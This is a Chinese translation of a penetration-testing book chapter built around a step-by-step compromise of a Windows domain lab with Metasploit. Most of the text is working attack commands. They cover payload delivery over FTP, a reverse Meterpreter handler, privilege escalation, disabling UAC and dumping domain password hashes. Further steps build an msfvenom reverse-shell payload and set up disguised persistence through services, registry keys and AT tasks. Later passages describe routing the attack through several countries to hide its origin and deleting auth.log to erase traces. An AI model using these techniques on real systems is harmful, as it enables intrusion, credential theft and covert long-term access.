我们攻击机的地址是172.16.42.215,如下所示:

set SRVHOST 172.16.42.215
set FTPROOT /var/ftproot

我们需要将我们构建的利用程序复制到ftproot目录中,如下所示:

    cp srvhosts.exe /var/ftproot/srvhosts.exe

然后我们需要使用run命令:

这将启动 FTP 服务。通过运行jobs命令,我们可以看到正在运行的服务。

我们现在在 FTP 服务上设置了有效负载的有效登录,所以我们准备好发动攻击。在我们对系统的扫描中,我们看到 RDP 服务在端口3389上运行,因此我们将使用rdesktop应用程序连接到系统,如下所示:

rdesktop 172.16.42.6  

单击“其他用户”按钮以进入默认登录屏幕,并输入捕获的域凭据:

一旦我们进入,要么打开命令行界面,要么打开 PowerShell 窗口,并按照以下方式下载文件。攻击机器的 IP 地址是172.16.42.215

ftp 172.16.42.215 

它会要求一个用户名;输入anonymous并按下Enter键。然后,服务将要求密码。同样,只需按下Enter键,留空即可。

这将在这个设置上正常工作。运行dir命令,我们可以看到我们的利用程序;我们将通过运行以下命令将其下载到 Windows 的temp目录中:

GET svchosts.exe C:\Windows\temp\svchosts.exe  

MSFconsole 还将报告文件下载如下:

在运行利用程序之前,我们需要在攻击机器上设置利用处理程序。我们将为利用程序设置 Metasploit 多/处理程序,以便利用程序连接。处理程序的默认有效载荷是reverse_tcp有效载荷,并在端口4444上运行。

当我们构建我们的利用程序时,我们设置它使用reverse_https来隐藏我们的流量作为 HTTPS 流量,因此我们必须更改默认设置。从 MSFconsole 中运行以下命令:

use exploit/multi/handler
set LHOST 172.16.42.215 //(the attacking machine)
set LPORT 443
set PAYLOAD windows/meterpreter/reverse_https (sets the handler payload)
show options //(this will let you check the settings)
run -j //(the -j option will run the handler as a job in the background)  

运行jobs命令,我们可以看到处理程序现在正在运行,还有 FTP 服务也在运行。我们现在可以通过运行以下命令来终止 FTP 服务:

jobs -k 1  

现在我们已经准备好在受害者的机器上运行我们的利用程序。从命令行窗口或 PowerShell 运行以下命令:

C:\Windows\temp\svchosts.exe

这将启动利用程序并连接到攻击者机器上的处理程序。

在攻击者的系统中,在 Metasploit 中,我们可以看到利用程序连接到处理程序。然后,通过运行sessions -l命令,我们可以看到正在运行的会话。接下来,通过运行sessions -i 2命令,我们可以在机器上启动一个 Meterpreter shell。然后,通过运行sysinfo命令,我们可以看到我们连接到 BO-SRV2:

从我们会话的信息中,我们可以看到我们以LAB1\rred的身份连接。根据早期的足迹,我们知道这是一个没有管理员权限的域用户帐户,因此我们需要提升帐户权限以获取我们的好处。让我们运行getsystem命令。该命令使用 15 种内置方法来获取系统管理员权限。

以下截图显示未能获取系统访问权限。哎呀!看一下以下输出:

我们可以通过运行getuid命令来检查此失败,然后它会通过显示我们仍然以LAB1\rred的身份连接来做出响应。

在渗透测试中,持久性意味着不仅仅是持续运行利用程序。有时,它涉及使用许多后期利用程序对系统进行攻击,以提升权限。有些利用程序在某些系统上有效,而在其他时候则无效。持久性是关键。在利用这个系统时,作者不得不经历许多post/windowsexploit/windows/local模块,最终提升了他的用户权限。所示的post工具和利用程序在此次攻击中失败了,但在另一个系统上可能会成功。一旦你有了 Meterpreter shell,你会想要退出 shell,但仍然保持连接,方法是输入background并按下Enter键。

您可以通过运行以下命令找到post/windowsexploit/windows/local。结果将显示模块的日期。您将要使用比目标系统的年龄更老的模块。在运行 Server 2008 的系统上运行 Windows 2000 的利用程序没有多大用处。该利用程序将已经通过版本更新进行了修补。

  • search post/windows:这将找到后期模块

  • search exploit/windows/local:这将找到可以在活动会话上运行的利用程序

MS16-032 次要登录句柄权限提升

接下来,我们将运行 MS16-032 次要登录句柄权限提升模块。模块的信息如下:

    msf > info exploit/windows/local/ms16_032_secondary_logon_handle_privesc
    Name: MS16-032 Secondary Logon Handle Privilege Escalation
    Module: exploit/windows/local/ms16_032_secondary_logon_handle_privesc
    Platform: Windows
    Privileged: No
    License: BSD License
    Rank: Normal
    Disclosed: 2016-03-21

    Provided by:
    James Forshaw
    b33f
    khr0x40sh

    Available targets:
    Id Name
    -- ----
    0 Windows x86
    1 Windows x64

    Basic options:
    Name  Current Setting Required Description
    ----  --------------- -------- -----------
    SESSION     yes  The session to run this module on.

    Payload information:

    Description:
    This module exploits the lack of sanitization of standard handles in 
    Windows' Secondary Logon Service. The vulnerability is known to 
    affect versions of Windows 7-10 and 2k8-2k12 32 and 64 bit. This 
    module will only work against those versions of Windows with 
    Powershell 2.0 or later and systems with two or more CPU cores.

有关 MS(MS16-032)的更多信息,请参阅以下参考资料:

此漏洞的作用是使用任意令牌创建新进程。这会欺骗服务使用特权访问令牌,从而绕过安全限制。

要使用此模块,请运行以下命令:

use exploit/windows/local/ms16_032_secondary_logon_handle_privesc  

通过运行show options命令,我们可以看到只有必须设置的SESSION选项。通过运行sessions -l命令,我们看到我们的运行会话是2。要设置此选项,请运行以下命令:

set SESSION 2  

然后运行以触发漏洞。我们看到漏洞失败了。漏洞运行了,但未能完全执行。阅读有关此漏洞的信息,我们发现您必须拥有两个或更多核心才能使此漏洞起作用。从系统足迹收集的其他信息中,我们可以假设这个系统是在单核心上运行的虚拟机。失败仍然可以提供有关目标的更多信息。

Windows 提升服务权限本地权限提升

我们将运行的下一个模块是 Windows 提升服务权限本地权限提升模块,日期为 2012 年。这是一个本地漏洞,通过运行会话运行。同样,我们将使用会话 2。

要使用此模块,请运行以下命令:

use exploit/windows/local/service_permissions  

模块的描述如下:

    msf > info exploit/windows/local/service_permissions

    Name: Windows Escalate Service Permissions Local Privilege Escalation
    Module: exploit/windows/local/service_permissions
    Platform: Windows
    Privileged: No
    License: Metasploit Framework License (BSD)
    Rank: Great
    Disclosed: 2012-10-15

    Provided by:
    scriptjunkie

    Available targets:
    Id Name
    -- ----
    0 Automatic

    Basic options:
    Name  Current Setting Required Description
    ----  --------------- -------- -----------
    AGGRESSIVE false   no  Exploit as many services as possible (dangerous)
    SESSION      yes  The session to run this module on.

    Payload information:

    Description:
    This module attempts to exploit existing administrative privileges 
    to obtain a SYSTEM session. If directly creating a service fails, 
    this module will inspect existing services to look for insecure file 
    or configuration permissions that may be hijacked. It will then 
    attempt to restart the replaced service to run the payload. This 
    will result in a new session when this succeeds.

正如我们在以下输出中所看到的,漏洞再次运行,但仍然没有成功。这可能是一个失败,但从输出中,我们现在知道没有任何使用弱配置运行的服务。从会话超时,我们现在知道任何尝试使用这种方法欺骗服务的方法都是失败的:

Windows 提升 UAC 保护绕过(ScriptHost 漏洞)

此模块尝试绕过 Windows 上的 UAC,使用 VB 脚本语言,通过利用cscript/wscript.exe可执行文件:

    msf > info exploit/windows/local/bypassuac_vbs 

    Name: Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)
    Module: exploit/windows/local/bypassuac_vbs
    Platform: Windows
    Privileged: No
    License: Metasploit Framework License (BSD)
    Rank: Excellent
    Disclosed: 2015-08-22

    Provided by:
    Vozzie
    Ben Campbell <eat_meatballs@hotmail.co.uk>

    Available targets:
    Id Name
    -- ----
    0 Automatic

    Basic options:
    Name  Current Setting Required Description
    ----  --------------- -------- -----------
    SESSION     yes  The session to run this module on.

    Payload information:

    Description:
    This module will bypass Windows UAC by utilizing the missing 
    .manifest on the script host cscript/wscript.exe binaries.

运行模块后,我们可以在以下屏幕截图中看到,我们试图妥协的用户帐户需要具有管理员权限。嗯,又是一个失败,但我们再次得知,我们正在使用的帐户在域中没有太多权限。我们确实获得了另一个帐户的凭据;也许该帐户有更多权限:

通过运行creds命令,我们得到了一系列捕获的凭据。请注意,有不可重放的哈希,这些对离线破解并不太有用,但我们确实有另一个帐户(fflintstone),它使用明文密码捕获。我们将尝试使用我们之前的漏洞来尝试这个:

现在,要使其运行,必须更改 multi/handler 的用户帐户,因此我们需要终止会话 2,然后以fflintstone的身份 RDP 登录,然后重新运行漏洞以获得该用户的权限。我们需要重新进入 multi/handler 模块。

  • use exploit/multi/handler:这会将您带回处理程序

  • sessions -k 2:这会终止运行的会话 2

  • run -j:这会重新启动 multi/handler 以接受新连接,并将其作为后台作业运行

现在,使用fflintstone帐户登录 RDP 会话后,我们将再次从命令行或 PowerShell 运行有效负载。

C:\Windows\Temp\svchosts.exe  

在下面的截图中,我们可以看到我们的 Kali 盒子上的处理程序已接受连接,并在会话 3 上设置了一个 Meterpreter 会话:

所以,现在让我们回到绕过 UAC 利用程序,并在新会话中运行它。要做到这一点,运行以下命令:

  • back:这将退出处理程序而不终止它,或任何会话

  • use exploit/windows/local/bypassuac_vbs:这将使您重新进入模块

  • set session 3:这将使利用程序使用会话 3

  • exploit:这将启动它

在下面的截图中,我们可以看到我们仍然失败了。看来 UAC 设置有更高的安全设置,无法被利用。再次,持久性是关键:

看来 BO-SRV2 对我们目前拥有的帐户来说相当安全,所以让我们去攻击另一台机器。我们还没有尝试域控制器,所以让我们继续进行。我们以LAB1\fflintstone的身份使用 RDP 登录,并以与我们在 BO-SRV2 上相同的方式将我们的利用程序通过 FTP 传输到域控制器。在下面的截图中,我们切换到C:\Windows\Temp目录,然后连接回我们的 Kali 机器并下载利用程序,如下所示:

再次,我们准备运行利用程序并连接回我们的 Kali 盒子。确保您的多/处理程序设置并运行!现在,运行可执行文件。

svchosts.exe:这将启动利用程序,您将看到 Kali 上的会话打开。

我们回到我们的 VBS 绕过利用程序,并针对这个会话运行它。哦不!我们像在 BO-SRV2 上一样又失败了:

现在,似乎所有服务器的安全性都针对所有用户帐户设置为高。我们需要摆脱这个讨厌的 UAC。这很可能也是我们的其他尝试失败的原因。当利用程序自动运行时,它们会被 UAC 阻止。我们需要禁用 UAC 并将其排除在外。由于我们有一个 RDP 会话和一些对机器有一些权限的帐户,我们将使用 GUI 来禁用 UAC,如下所示:

  1. 前往控制面板。

  2. 选择用户帐户。

  3. 单击打开或关闭用户帐户控制。

  4. 点击通过 UAC 窗口。

  5. 接下来,取消复选框。

  6. 按下确定。

  7. 然后会要求您重新启动计算机;继续。

  8. 下面的截图显示了 UAC 窗口:

您可能会想为什么我们没有在 BO-SRV2 上这样做。足迹显示,BO-SRV2 是网络上的文件服务器。重新启动此系统可能会提醒用户我们的存在。网络可能只有一个文件服务器,因此如果重新启动它,就会被注意到,但域控制器是另一回事。我们可以重新启动此系统,没有人会知道,除非网络上有一个可以告诉我们的网络监控服务。至少,在重新启动域控制器时被抓住的机会较小。哦,是的;在重新启动机器之前,右键单击任务栏,转到任务管理器,并检查用户选项卡,确保您是唯一一个在盒子上的人。在管理员在盒子上时重新启动将意味着您被抓住了。我们可以在下面的截图中看到,我们现在是系统上唯一的一个人,所以安全地重新启动:

现在,重新启动后我们重新开始这个过程。确保您的 Kali 机器上的多/处理程序设置正确并运行。重新登录受害者的机器,并重新运行您的有效载荷:

C:\Windows\Temp\svchosts.exe  

然后您将看到 Meterpreter 会话在您的 Kali 盒子上启动,如下所示:

好吧,让我们看看这次我们得到了什么!打开我们的 Meterpreter 会话,看看发生了什么。要打开会话,请执行以下操作:

  • sessions -i 2: -i 是与编号会话进行交互

  • getuid: 这显示我们正在以 fflintstone 身份运行

这只是为了好玩,因为上次运行它没有起作用。

  • getsystem: 中了!我们有赢家!当我们重新运行 getuid 时,我们看到我们现在是系统。是的,起身跳起您的快乐舞蹈:您现在拥有系统级别的特权!它完全被控制了:

因此,我们已经发现问题一直是 UAC,并且我们没有能力绕过通常出现在屏幕上的提示。即使具有管理员级别的访问权限,UAC 提示也会破坏我们完全攻陷机器的尝试。

因此,让我们掠夺系统并收集我们的战利品。作为域控制器,它掌握着王国的钥匙。在渗透测试中,一旦被掠夺,游戏就结束了。在真实世界的黑客攻击中,一旦实现了这一点,您的网络就完蛋了;除非完全重建整个网络结构,否则您永远无法确定您的攻击者完全被锁在外面。为此,我们将使用 post 模块来收集所有用户帐户及其哈希。为此,我们将使用 post/windows/gather/smart_hashdump 模块。

此模块的信息如下:

    msf post(smart_hashdump) > info

    Name: Windows Gather Local and Domain Controller Account Password Hashes
    Module: post/windows/gather/smart_hashdump
    Platform: Windows
    Arch: 
    Rank: Normal

    Provided by:
    Carlos Perez <carlos_perez@darkoperator.com>

    Basic options:
    Name  Current Setting Required Description
    ----  --------------- -------- -----------
    GETSYSTEM false   no  Attempt to get SYSTEM privilege on the target host.
    SESSION      yes  The session to run this module on.

    Description:
    This will dump local accounts from the SAM Database. If the target 
    host is a Domain Controller, it will dump the Domain Account 
    Database using the proper technique depending on privilege level, OS 
    and role of the host.

在设置和运行此模块之前,我们首先要退出 Meterpreter shell,而不中断连接,然后加载 post 模块并运行它。

从正在运行的 Metetpreter shell 中运行这些命令:

  • background: 这将使会话后台运行而不终止它。

  • use post/windows/gather/smart_hashdump: 这将加载 smart_hashdump 模块。

  • show options: 这将显示所需的选项。

  • set SESSION 2: 这将设置会话以使用我们正在运行的会话。

  • show options: 再次运行此命令以检查您的设置。

  • 利用: 利用!!

中了!您现在是 LAB1.boweaver.net 域的自豪所有者。请注意,域中的所有哈希,包括机器帐户,都已被掠夺。这些哈希不是经过盐处理的,不像使用 NTLMv2 在线捕获的哈希,后者是经过盐处理且不可重放的。这些是直接的 NTLM 哈希,可以用于传递哈希风格的攻击和登录到其他系统。它们也可以更容易地使用离线密码破解工具进行破解,以获取明文密码。

还要注意,凭证不仅已保存到 Metasploit 数据库中,还输出到了位于 /root/.msf4/loot/20170709202230_lab1.boweaver.ne_172.16.42.5_windows.hashes_075027.txt 的文件中。这个文本文件是以一种格式保存的,可以导入到 John 或 Hashcat 进行离线破解。

以下截图显示了本书的测试域的结果,因此输出并不那么大。在大型域中,这可能是一个非常大的转储:

黑客提示:

在转储大型域时,有时可以找到已禁用的帐户。最好启用其中一个帐户进行攻击使用,并提升此帐户的特权,而不是添加新的帐户进行攻击使用。

维持访问

一旦你获得了访问权限并提升了你的访问级别,你会想要回来。如果系统是通过对互联网开放端口的漏洞而被入侵的,那么返回就不是一个大问题,除非系统被修补。你可以随时重复利用你的漏洞,并重新获得对内部网络的访问权限。如果你使用钓鱼攻击或浏览器漏洞来攻击系统,那么你的连接只会发生一次,当链接被点击时,或者从被感染的网站运行浏览器漏洞时。以这些方式攻击用户的工作站,为了返回工作站并绕过防火墙,你需要一些东西来维持访问。对于配置良好的防火墙后面的系统来说,几乎不可能在没有任何对互联网开放的端口的情况下直接获得访问权限。然而,所有系统都可以呼叫互联网,所以这是我们的攻击向量和我们返回的方式。这就是为什么高度安全的网络应该始终是空气隔离的,没有物理方式呼叫公共网络。这就是小而毛茸茸、尾巴长、耳朵大的哺乳动物发挥作用的地方。

远程访问工具

远程访问工具RATs)是一种可以用来呼叫服务器并维持与该服务器的连接的小型程序,有时被称为命令和控制服务器,或 CnC。使用来自服务器的连接,攻击者可以从内部机器访问受害者的内部网络,或者使用它作为一个 Pivot 来从攻击者的远程机器上攻击网络。

Pivots 是我个人最喜欢的。有了 Pivots,就不需要将工具上传到另一个受害者的机器上,这可能会触发反病毒软件和其他安全监控工作站在上传过程中。一旦 RAT 就位,你现在可以从第一个受害者的机器上进行 Pivot。此外,将像 Metasploit 这样的版本上传并安装到受害者的机器上是不切实际的。有了 Pivot,就不需要上传工具:你可以使用你系统上安装的工具来对内部受害者网络进行攻击,就像你插入内部网络一样。受害者的机器现在只是作为一个路由器,你的远程 Kali 机器现在位于内部网络上。Metasploit 内置了一些方便的 Pivots。还要记住,如果网络可以从无线接入点被入侵,那么你也可以完全访问内部网络,所以没有必要进行 Pivot。

如今有成千上万的 RAT 可用于任何系统,不仅仅是 Windows。Android RAT 如今也被广泛用于入侵手机和平板电脑,并维持对这些设备的访问。我们将使用 Metasploit 的 MSFvenom 工具来定制一些 RAT。我发现这些效果最好,其他工具,如 Mimikats,可以通过连接运行。

Metasploit 的 persistence_exe 模块

我们首先要使用我们现有的会话,将一个持久的可执行文件加载到系统上,这将继续呼叫我们的多/handler。由于我们已经有了这个会话,并且它具有系统级别的访问权限,加载这个将会很容易。要加载模块,运行以下命令:

use post/windows/manage/persistence_exe

persistence_exe模块的信息如下:

    msf post(persistence_exe) > info

    Name: Windows Manage Persistent EXE Payload Installer
    Module: post/windows/manage/persistence_exe
    Platform: Windows
    Arch: 
    Rank: Normal

    Provided by:
    Merlyn drforbin Cousins <drforbin6@gmail.com>

    Basic options:
    Name  Current Setting Required Description
    ----  --------------- -------- -----------
    REXENAME default.exe  yes  The name to call exe on remote system
    REXEPATH     yes  The remote executable to use.
    SESSION     yes  The session to run this module on.
    STARTUP USER    yes  Startup type for the persistent payload. (Accepted: USER, SYSTEM, SERVICE)

    Description:
    This Module will upload a executable to a remote host and make it 
    Persistent. It can be installed as USER, SYSTEM, or SERVICE. USER 
    will start on user login, SYSTEM will start on system boot but 
    requires privs. SERVICE will create a new service that will start the payload. Again requires privs.

我们看到 RAT 的名称设置为REXENAMEdefault.exe。如果有人在审核进程列表,这将显得像一个恶意进程,所以让我们为它改个名字,更隐蔽一点。早些时候,我们构建了我们的有效载荷svchosts.exe。注意这个名字与已知运行的svchost可执行文件非常接近,这个文件在正常运行的服务器的运行进程中会出现很多次。名字接近实际服务名将使它更隐蔽一些。当我们有一个已知的有效利用时,为什么要构建一个新的有效载荷呢?

设置模块如下:

set REXENAME svchosts.exe
set REXEPATH /media/root/files/kali2016-2-book/chap8/svchosts.exe
set SESSION 2
set STARTUP SERVICE
show options
exploit

我们看到它已经上传了 RAT 并且未能打开系统管理器,回复说 RPC 服务器不可用:

在域控制器上,我们可以看到一个应用程序崩溃并且桌面上弹出了一个警告。在试图隐蔽时,这不是一件好事:

错误显示应用程序 ApacheBench 已崩溃。此计算机未加载 Apache Web 服务器,因此错误可能来自我们正在使用的 HTTPS 有效负载。因此,让我们构建另一个有效负载,以用作 RAT,使用直接的 TCP 连接。要从命令行构建有效负载,请运行以下命令:

msfvenom -p windows/meterpreter_reverse_tcp --platform windows -f exe -a x86 LHOST=172.16.42.215 LPORT=4444 -o svchosts2.exe

我们需要为此有效负载设置一个多/处理程序:

use post/windows/manage/persistence_exe
set PAYLOAD windows/meterpreter_reverse_tcp
set LPORT 4444
run -j

现在使用以下命令返回到持久性模块:

use post/windows/manage/persistence_exe  

为新有效负载重置REXEPATH

set REXEPATH /media/bo/files/kali2016-2-book/chap8/svchosts2.exe
show options # To check the settings then.
Exploit  

正如我们所看到的,这次有效负载成功运行并打开了一个新的会话。我们还看到,RPC 服务器再次不可用,因此 RAT 没有作为服务加载。因此,RAT 很可能没有作为服务运行。作为服务运行是最理想的,但由于它给我们带来了问题,让我们将STARTUP设置为USER。使用此配置,我们必须等待用户再次登录才能运行漏洞利用。在使用此设置时,最好使用经常使用的帐户。检查事件日志将为您提供有关哪些用户登录以及登录频率的信息。

确保终止上次运行创建的会话,然后将STARTUP设置更改如下:

set STARTUP USER
show options
exploit  

成功!在此运行中,模块加载了有效负载并将其设置为自动运行,所以我们应该可以继续进行。让我们测试结果。当我们运行此漏洞时,我们没有重新启动我们的多/处理程序来捕获有效负载,因为它之前已经运行过。我们可以看到没有会话被创建,即使其他一切都显示漏洞的成功运行。当我们设置并运行处理程序时,我们立即从有效负载获得连接:

让我们检查下次登录时是否重新连接。终止系统中的所有会话并注销 RDP 会话。接下来,重新启动多/处理程序以进行下次登录:

sessions -K # This kills all running sessions.
run -j # This restarts the handler.  

当我们使用 RDP 会话重新登录时,我们看到一个新的会话已经在运行的处理程序上启动。我们能够与会话交互,并从 Meterpreter shell 获得系统访问权限:

仅限 Windows 注册表的持久性

Windows 注册表是隐藏恶意代码的好地方。许多恶意软件和间谍软件使用这样的方法来隐藏和运行它们的有效负载。注册表的复杂性和注册表的系统访问级别使其成为一个很好的攻击向量。

我们将在当前运行的会话上运行以下模块,并尝试以系统级访问权限运行有效负载。模块的信息如下:

    msf exploit(registry_persistence) > info

    Name: Windows Registry Only Persistence
    Module: exploit/windows/local/registry_persistence
    Platform: Windows
    Privileged: No
    License: Metasploit Framework License (BSD)
    Rank: Excellent
    Disclosed: 2015-07-01

    Provided by:
    Donny Maasland <donny.maasland@fox-it.com>

    Available targets:
    Id Name
    -- ----
    0 Automatic

    Basic options:
    Name   Current Setting Required Description
    ----   --------------- -------- -----------
    BLOB_REG_KEY     no  The registry key to use for storing the payload blob. (Default: random)
    BLOB_REG_NAME     no  The name to use for storing the payload blob. (Default: random)
    CREATE_RC  true    no  Create a resource file for cleanup
    RUN_NAME      no  The name to use for the 'Run' key. (Default: random)
    SESSION       yes  The session to run this module on.
    SLEEP_TIME  0    no  Amount of time to sleep (in seconds) before executing payload. (Default: 0)
    STARTUP  USER    yes  Startup type for the persistent payload. (Accepted: USER, SYSTEM)

    Payload information:

    Description:
    This module will install a payload that is executed during boot. It 
    will be executed either at user logon or system startup via the 
    registry value in "CurrentVersion\Run" (depending on privilege and 
    selected method). The payload will be installed completely in 
    registry.

让模块使用默认设置运行大部分设置。我们将使用以下命令运行:

  • set SESSION 4:设置为当前运行的会话

  • set STARTUP SYSTEM:这将设置持久有效负载以作为系统漏洞运行

看来我们的漏洞利用失败了。我们收到了 PowerShell 不可用的警告。漏洞利用确实写入了注册表,但请注意,当运行完成时没有启动新会话。这告诉我们,由于未找到 PowerShell,我们的运行失败了。由于找不到 PowerShell,让我们尝试通过从运行会话的 Meterpreter shell 添加持久性并从 VB 脚本运行漏洞利用的旧方法。

需要记住的是,这种类型的利用不需要登录,因此在生产系统上,如果不删除,这将是一个开放的后门,并且如果在机器上继续运行,另一个攻击者可以访问它。

您可以通过从运行的 Meterpreter 会话中运行以下命令来阅读持久性脚本的帮助文件。正如您所看到的,持久性脚本被列为已弃用,但由于较新的后期利用未能奏效,最好回退到较旧的方法:

    sessions -i 4 Interact with the running session.
    run persistence -h To view the help files.

    meterpreter > run persistence -h

    [!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
    [!] Example: run post/windows/manage/persistence_exe OPTION=value [...]
    Meterpreter Script for creating a persistent backdoor on a target host.

    OPTIONS:

    -A  Automatically start a matching exploit/multi/handler to connect to the agent
    -L <opt> Location in target host to write payload to, if none %TEMP% will be used.
    -P <opt> Payload to use, default is windows/meterpreter/reverse_tcp.
    -S  Automatically start the agent on boot as a service (with SYSTEM privileges)
    -T <opt> Alternate executable template to use
    -U  Automatically start the agent when the User logs on
    -X  Automatically start the agent when the system boots
    -h  This help menu
    -i <opt> The interval in seconds between each connection attempt
    -p <opt> The port on which the system running Metasploit is listening
    -r <opt> The IP of the system running Metasploit listening for the connect back  

为了设置这个,我们将使用以下设置:

run persistence -U -S -i 15 -p 4444 -r 172.16.42.215  

哦好吧;不可用的 RPC 服务再次让我们失望,所以让我们尝试一个更古老的方法:AT命令。AT命令是任务计划程序,可以追溯到 NT 3.51 的时代,只能从命令行运行。这也使它具有一些隐蔽性,因为使用AT调度的任务不会显示在任务计划程序的 GUI 版本中。它们是两个独立的应用程序,不共享作业。AT 服务很像 Linux 和 UNIX 上的 Cron。这些系统上也有一个AT调度程序。

因此,要从 Meterpreter 转到远程 shell,请运行此命令:

Shell  

首先,将有效载荷从Temp目录移动到Windows目录,这样有效载荷将在不使用完整路径的情况下运行:

copy C:\Windows\Temp\server.exe C:\Windows\server.exe  

从远程 shell 中运行以下命令,以确保计划程序服务正在运行:

net start "task scheduler"
at 23:30 /every:M,T,W,TH,F,SA,SU server.exe  

请记住在设置时间之前启动 multi/handler。当时间到来时,我们会看到我们现在有一个新的运行会话:

总结

在本章中,我们已经学会了如何在本地和远程提升权限。我们展示了即使利用出现问题也可以成为学习经验,并且可以为我们提供有关目标及其目标网络的宝贵信息。我们已经学会了在攻击系统中保持持久性的几种方法,并且学会了如何隐藏这些有效载荷。我们已经学会了如何禁用 UAC 并绕过其安全性。

我们已经学会了如何构建有效载荷,将其带入我们受损的系统,并将其用于将我们的权限从普通用户帐户提升到 Windows 系统上的系统级访问。我们还学会了如何设置此有效载荷以在我们受攻击的机器上持久运行,以便我们以后可以返回到同一受损的机器。我们还从未能成功入侵系统中获取知识的宝贵教训,并利用这些知识获得对机器的完全访问权限。失败也可以是成功。

第九章:在服务器或桌面上保持访问权限

曾经想过黑客是如何能够进入一个安全网络并在网络中呆上几个月甚至几年而不被发现的吗?好吧,以下是一些留在网络内部的大招。我们不仅将讨论如何维持已经拥有的本地机器的访问权限,还将讨论如何在网络内部使用Drop Box,并让它回家。

在本章中,我们将涵盖以下主题:

  • 保持访问或 ET 回家

  • 使用 Ncat 保持访问

  • Drop Box

  • 破解网络访问控制器NAC

  • 使用社会工程学工具包创建钓鱼攻击

  • 使用后门工厂来规避杀毒软件

保持访问或 ET 回家

在黑客世界中,持久连接被称为回家。持久性使攻击者能够留下一个连接返回到攻击机器,并对受害机器进行完整的命令行或桌面连接。

为什么要这样做?你的网络通常受到防火墙的保护,对内部机器的端口连接由防火墙控制,而不是由本地机器控制。当然,如果你在一个盒子里,你可以打开 telnet,并且你可以从本地网络访问 telnet 端口。但是你很难从公共网络访问到这个端口。任何本地防火墙都可能阻止这个端口,而网络扫描会显示受害机器上正在运行 telnet。这将警示目标组织的网络安全团队。因此,与其在受损服务器上开放一个端口,不如让你的受害机器呼叫你的攻击机器更安全、更有效。

在本章中,我们将主要使用 HTTPS 反向 shell。之所以这样做是因为你的受损机器可以呼叫攻击机器上的任何端口,但是如果发送到一个不寻常的目的地,比如攻击机器上的端口4444,一个良好的 IDS/IPS 系统可能会检测到这种连接。大多数 IDS/IPS 系统将对 HTTPS 端口的出站连接进行白名单处理,因为大多数系统的系统更新都是通过 HTTPS 协议进行的。你的出站连接到攻击机器看起来更像是一个更新而不是一个被黑客攻击的端口。

持久连接确实必须直接返回到攻击者的机器。你可以将这种类型的连接从一个或多个机器上转移,以掩盖你的踪迹。从目标网络内部的一台机器和目标网络外部的一对机器上进行转移,使得防御者更难以看清发生了什么。

是的,你可以将这种类型的攻击从朝鲜或中国的一台机器上转移出来,看起来就像攻击来自那里。每当我们在媒体上听到一个网络攻击来自某个可恶的外国攻击者时,我们都会翻白眼。除非你能够访问攻击机器及其日志,否则无法确定攻击的原始来源。即使有了对攻击机器的访问,你仍然不知道攻击者经过了多少次转移才到达那台机器。你仍然不知道最后一个连接的完整回溯。在这个过程中使用类似 Tor 的东西,没有人能确定这次黑客攻击到底来自哪里。

在这个演示中,我们将进行一次四向枢纽的攻击,横跨世界,穿越四个不同的国家,向您展示这是如何完成的。是的,我们正在真正做这件事!

绝对不要攻击我们在本书中将要使用的公共 IP 地址。这些是我们为这个项目租用的服务器。在本书出版时,它们将不再在我们的控制之下。

持久连接的一个问题是它们可能会被发现。一个人永远不能低估偏执的系统管理员的细心眼睛(为什么服务器 192.168.202.4 已经与中国 IP 地址建立了四天的 HTTP 连接?)。一个真正的攻击者将使用这种方法来掩盖他的踪迹,以防被抓住并且攻击服务器被检查是否有入侵者的证据。在你退出每台机器后清除日志后,追溯连接几乎是不可能的。持久连接所连接的第一个盒子将被攻击者视为敌对的,他们将在每次连接后删除与这台机器的连接痕迹。

请注意以下图表中受害机器具有内部地址。由于受害机器正在呼叫,我们正在绕过 NAT 和入站防火墙规则的入站保护。受害机器将呼叫新加坡的服务器。攻击者正在与美国的受损机器进行交互,但在登录新加坡的恶意服务器之前,会通过两个跳转进行转向。我们在这里仅使用了四个跳转进行演示,但您可以使用任意数量的跳转。跳数越多,反向跟踪就越混乱。一个优秀的攻击者还将在下一次进入时改变他的路线和入站连接的 IP 地址:

对于我们的第一个跳转,我们将前往阿姆斯特丹178.62.241.119!如果我们运行whois,我们可以看到这个:

whois 178.62.241.119

inetnum:    178.62.128.0 - 178.62.255.255
netname:    DIGITALOCEAN-AMS-5
descr:     DigitalOcean Amsterdam
country:    NL
admin-c:    BU332-RIPE
tech-c:    BU332-RIPE
status:    ASSIGNED PA
mnt-by:    digitalocean
mnt-lower:   digitalocean
mnt-routes:  digitalocean
created:    2014-05-01T16:43:59Z
last-modified: 2014-05-01T16:43:59Z
source:    RIPE # Filtered  

黑客提示:

一个优秀的调查员看到这些信息后,可能会传唤 DigitalOcean 以找出在受害者回家时租用该 IP 的人,但同样可能是属于列宁格勒的一位老太太的机器。一个僵尸网络的基础是由一组受损的盒子开发而成。本章描述了一个小型的自制僵尸网络。

我们现在将转向德国的主机,46.101.191.216。再次,如果我们运行whois命令,我们可以看到这个:

whois 46.101.191.216

inetnum:    46.101.128.0 - 46.101.255.255
netname:    EU-DIGITALOCEAN-DE1
descr:     Digital Ocean, Inc.
country:    DE
org:      ORG-DOI2-RIPE
admin-c:    BU332-RIPE
tech-c:    BU332-RIPE
status:    ASSIGNED PA
mnt-by:    digitalocean
mnt-lower:   digitalocean
mnt-routes:  digitalocean
mnt-domains:  digitalocean
created:    2015-06-03T01:15:35Z
last-modified: 2015-06-03T01:15:35Z
source:    RIPE # Filtered  

现在转向新加坡的转向主机128.199.190.69,并运行whois命令:

whois 128.199.190.69

inetnum:    128.199.0.0 - 128.199.255.255
netname:    DOPI1
descr:     DigitalOcean Cloud
country:    SG
admin-c:    BU332-RIPE
tech-c:    BU332-RIPE
status:    LEGACY
mnt-by:    digitalocean
mnt-domains:  digitalocean
mnt-routes:  digitalocean
created:    2004-07-20T10:29:14Z
last-modified: 2015-05-05T01:52:51Z
source:    RIPE # Filtered
org:      ORG-DOI2-RIPE  

我们现在已经准备好从新加坡发动攻击。我们离目标机器只有几英里,但对于毫无戒心的 IT 系统安全管理员来说,攻击看起来就像是来自半个地球之外。

掩盖我们的踪迹

如果我们对这些机器有 root 或 sudo 访问权限,我们可以通过运行以下命令干净地退出。这将删除我们登录的痕迹。由于这是我们的攻击机器,我们将以 root 身份运行。包含 SSH 服务登录信息的文件是/var/log/auth.log。如果我们删除它然后创建一个新文件,我们登录的日志现在已经消失:

  1. 进入/var/log目录:
cd /var/log  
  1. 删除auth.log文件:
rm auth.log  
  1. 创建一个新的空文件:
touch auth.log  
  1. 关闭终端会话:
exit  

